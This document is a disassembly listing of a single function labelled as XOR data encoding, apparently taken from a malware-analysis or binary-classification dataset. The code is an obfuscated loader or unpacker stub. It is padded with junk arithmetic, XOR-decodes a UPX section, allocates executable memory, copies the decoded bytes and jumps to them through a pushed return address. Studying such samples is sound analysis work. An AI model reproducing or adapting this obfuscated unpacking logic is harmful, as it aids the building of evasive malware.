Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x41cc205e
add edx, esi
mov esi, edx
popal
mov edx, esi
dec edx
mov eax, 0
mov ebx, edx
add ecx, 0xb715e236
mov ecx, 0x7270483e
sub ecx, 0x14b542ba
mov esi, ebx
add ecx, ecx
or edi, edi
add ecx, 1
mov edx, esi
add ecx, edi
dec ecx
inc eax
sub edi, 0x71724619
mov ecx, 0x9898ae59
not edi
cmp eax, 0x100fbf5
jne 0xa789bf
and edi, ecx
not ecx
mov edx, 0x5d8bd253
and esi, edx
and esi, esi
mov edi, 0xa78796
sub esi, 0xa745d66e
not ebx
mov ecx, 0xa7898a
and ebx, ebx
and esi, ebx
mov edx, dword [edi]
dec esi
and ebx, esi
and edx, 0xff
inc ebx
mov eax, esi
mov ebx, 0xe14068dd
xor dword [ecx], edx
add ebx, 0x76b6ff67
mov esi, eax
sub ebx, esi
inc ecx
and eax, ebx
or eax, ebx
inc edi
inc ebx
add eax, esi
cmp ecx, entry0
jl 0xa78a20
sub eax, 0xe8872faf
sub ebx, 0xa54a876c
not eax
dec eax
sub eax, 1
add esi, 0x9d67aade
mov esi, 0x62609d4b
sub ecx, ebx
mov edx, 0xa7898e
add ecx, 0xfb3764ee
add ecx, ebx
sub ebx, 0xa891a1b4
mov edx, dword [edx]
mov ebx, ecx
mov esi, 0x3485a323
sub edi, ecx
mov edx, dword [edx]
sub ecx, 0x37d3e38d
not ebx
mov ecx, 0x7bac68a
push edx
sub edi, 0xae912431
or ecx, esi
mov edx, 0xa7898a
mov edi, 0x41b9be7e
inc esi
not ebx
mov edx, dword [edx]
inc esi
mov ebx, ecx
mov edx, dword [edx]
sub esi, 0x73658ddc
add edi, edi
sub esp, 4
mov dword [esp], 0xa78992
mov esi, 0x5d84c661
or ecx, ecx
sub esi, ecx
call edx
sub esi, 1
dec edi
mov edx, dword [esp]
add esp, 4
sub ecx, ebx
dec ecx
push 0xa7899f
inc edi
not edi
push eax
inc edi
sub esi, 0xcb83b098
call edx
add esi, ebx
not ebx
sub ecx, esi
sub esp, 4
mov dword [esp], 0x40
sub edi, 1
add ebx, 0x569375c
push 0x3000
and ecx, edi
dec edi
sub esp, 4
mov dword [esp], 0x200002ad
add ebx, esi
sub ebx, 0x35c1bb38
add edi, 1
push 0
mov ecx, 0x3f1de978
and ecx, ebx
or ebx, ebx
call eax
mov ecx, edi
not esi
sub ebx, ecx
add eax, 0x2000023d
sub ecx, ebx
or ebx, esi
mov esi, ecx
mov edx, 0xa087cd9a
mov edi, ecx
dec ecx
sub ecx, edi
mov dword [eax], edx
add esi, 0x4db23d9c
and ecx, ecx
mov edx, dword [eax]
add esi, esi
sub edi, 0x67f31b32
mov ebx, edi
cmp edx, 0xa087cd9a
je 0xa78b8c
mov eax, 0
mov ecx, dword [eax]
sub esi, ebx
add edi, 1
mov ebx, esi
add esi, 0x54b8d4b2
sub ecx, 0xdc09a76e
add ebx, 0xdd643ce8
sub edx, 0xcabd8e1a
add edx, edx
mov ecx, section.UPX1
add edx, 0x5dd8c415
and esi, esi
add edx, 0xd8a67296
mov eax, 0xa78795
and edx, edx
not edx
mov ebx, 0
mov esi, edx
and esi, edx
mov edi, 0xa78796
add edx, esi
add esi, 0x65e9d6fd
sub esi, 0xb49cdf94
lea edi, [ebx + edi]
inc esi
add esi, edx
add edx, 0x322111cd
mov edi, dword [edi]
dec esi
or esi, edx
add edx, edx
and edi, 0xff
add esi, edx
sub edx, esi
not esi
add ebx, 1
not edx
mov esi, edx
cmp ebx, 0x1f4
jne 0xa78c1e
mov ebx, 0
add esi, edx
add esi, 0xbeed6df6
sub esi, 0xb39a5749
sub esi, edx
sub edx, esi
sub edx, 1
xor dword [ecx], edi
add edx, 1
add edx, esi
add edx, 0x4c96b343
add ecx, 2
not esi
or edx, esi
cmp ecx, eax
jl 0xa78bd5
sub esi, edx
mov edx, esi
or esi, esi
not esi
mov edi, section.UPX1
dec esi
dec ebx
add ebx, 0x2c5f5c25
mov eax, section.UPX1
add esi, 0x41e80c84
sub esi, ebx
sub ebx, esi
mov edx, 0xa78795
sub esi, 0xa8277ed8
not ebx
add esi, esi
mov ecx, 0
dec ebx
add esi, 0xd2162c3e
mov cl, byte [eax]
sub esi, ebx
sub ebx, esi
sub esi, ebx
mov byte [edi], cl
or esi, ebx
sub esi, 0x988789b6
or esi, esi
inc edi
or ebx, ebx
mov ebx, esi
mov ebx, 0x45255a08
add eax, 2
sub ebx, esi
or ebx, ebx
mov esi, 0x2c5c39f0
cmp eax, edx
jle 0xa78c97
add esi, ebx
mov ebx, 0x646431ef
and esi, ebx
or edx, esi
sub esi, edx
sub esp, 4
mov dword [esp], 0x8dc6a0
and edx, esi
not edx
ret